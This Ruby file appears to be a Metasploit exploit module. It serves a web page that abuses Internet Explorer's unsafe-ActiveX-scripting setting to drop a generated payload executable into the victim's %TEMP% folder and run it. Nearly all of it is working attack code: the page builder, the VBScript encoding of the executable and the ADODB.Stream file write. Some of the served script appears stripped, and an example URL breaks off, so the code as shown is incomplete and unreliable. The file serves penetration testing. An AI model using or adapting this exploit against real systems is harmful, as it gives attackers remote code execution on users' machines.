## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration', 'Description' => %q{ This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer. When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to interact with the file system and run commands. This security flaw is not uncommon in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to save binary data to the file system, ADODB.Stream access is required, which in IE7 will trigger a cross domain access violation. As such, we write the code to a .vbs file and execute it from there, where no such restrictions exist. When set via domain policy, the most common registry entry to modify is HKLM\ Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201, which if set to '0' forces ActiveX controls not marked safe for scripting to be enabled for the Intranet zone. This module creates a javascript/html hybrid that will render correctly either via a direct GET http://msf-server/ or as a javascript include, such as in: http://intranet-server/xss.asp?id="> . }, 'License' => MSF_LICENSE, 'Author' => [ 'natron' ], 'Version' => '$Revision$', 'References' => [ [ 'URL', 'http://support.microsoft.com/kb/182569' ], [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ], ], 'DisclosureDate' => 'Sep 20 2010', 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultOptions' => { 'HTTP::compression' => 'gzip' }, 'DefaultTarget' => 0)) end def on_request_uri(cli, request) #print_status("Starting..."); # Build out the HTML response page var_shellobj = rand_text_alpha(rand(5)+5); var_fsobj = rand_text_alpha(rand(5)+5); var_fsobj_file = rand_text_alpha(rand(5)+5); var_vbsname = rand_text_alpha(rand(5)+5); var_writedir = rand_text_alpha(rand(5)+5); var_exename = rand_text_alpha(rand(5)+5); var_origLoc = rand_text_alpha(rand(5)+5); var_byteArray = rand_text_alpha(rand(5)+5); var_stream = rand_text_alpha(rand(5)+5); var_writestream = rand_text_alpha(rand(5)+5); var_strmConv = rand_text_alpha(rand(5)+5); p = regenerate_payload(cli); print_status("Request received for #{request.uri}"); exe = generate_payload_exe({ :code => p.encoded }) #print_status("Building vbs file..."); # Build the content that will end up in the .vbs file vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray} #{var_origLoc} = SetLocale(1033) |) print_status("Encoding payload into vbs/javascript/html..."); # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) # for conversion with ADODB.Stream vbs_ary = [] # The output of this loop needs to be as small as possible since it # gets repeated for every byte of the executable, ballooning it by a # factor of about 80k (the current size of the exe template). In its # current form, it's down to about 4MB on the wire exe.each_byte do |b| vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") end vbs_content << vbs_ary.join("") # Continue with the rest of the vbs file; # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent # Then use ADODB.Stream again to write the binary to file. #print_status("Finishing vbs..."); vbs_content << Rex::Text.to_hex(%Q| Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe" Set #{var_strmConv} = CreateObject("ADODB.Stream") #{var_strmConv}.Type = 2 #{var_strmConv}.Charset = "x-ansi" #{var_strmConv}.Open #{var_strmConv}.WriteText s, 0 #{var_strmConv}.Position = 0 #{var_strmConv}.Type = 1 #{var_strmConv}.SaveToFile #{var_writedir}, 2 SetLocale(#{var_origLoc})|) # Encode the vbs_content #print_status("Hex encoded vbs_content: #{vbs_content}"); # Build the javascript that will be served js_content = %Q| // | print_status("Sending exploit html/javascript"); print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target."); # Transmit the response to the client send_response(cli, js_content, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end